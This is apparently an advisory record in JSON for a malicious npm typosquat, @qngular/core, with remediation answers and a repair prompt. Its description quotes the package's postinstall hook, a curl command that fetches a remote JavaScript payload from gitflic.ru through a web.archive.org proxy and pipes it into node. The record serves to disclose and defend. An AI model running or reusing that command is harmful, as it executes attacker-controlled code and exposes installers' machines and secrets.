{"answers":{"affected":"1 open source package ship an affected version, including @qngular/core.","exploited":"There is no known exploitation of MAL-2026-17544 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-17544 is a malicious package in @qngular/core, published on 5 Oct 2026."},"fix_prompt":"MAL-2026-17544 is a malicious package: @qngular/core (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-17544/ (Markdown: https://insights.sbomify.com/MAL-2026-17544/index.md)","id":"MAL-2026-17544","markdown":"https://insights.sbomify.com/MAL-2026-17544/index.md","name":"MAL-2026-17544","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"Package `@qngular/core` is a one-character typosquat of `@angular/core` and copies the real package's description, author, and repository metadata. The `postinstall` lifecycle script in package.json runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching an opaque, non-publisher-controlled JavaScript payload from a third-party host (gitflic.ru via a web.archive.org proxy) and piping it unverified into `node`. This executes attacker-controlled code on the installer's machine during `npm install`.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in @qngular/core (npm)","id":"MAL-2026-17544","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"@qngular/core","purl":"pkg:npm/%40qngular/core","source":"MAL-2026-17544"}],"products":null,"published":"2026-10-05","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-17544/"}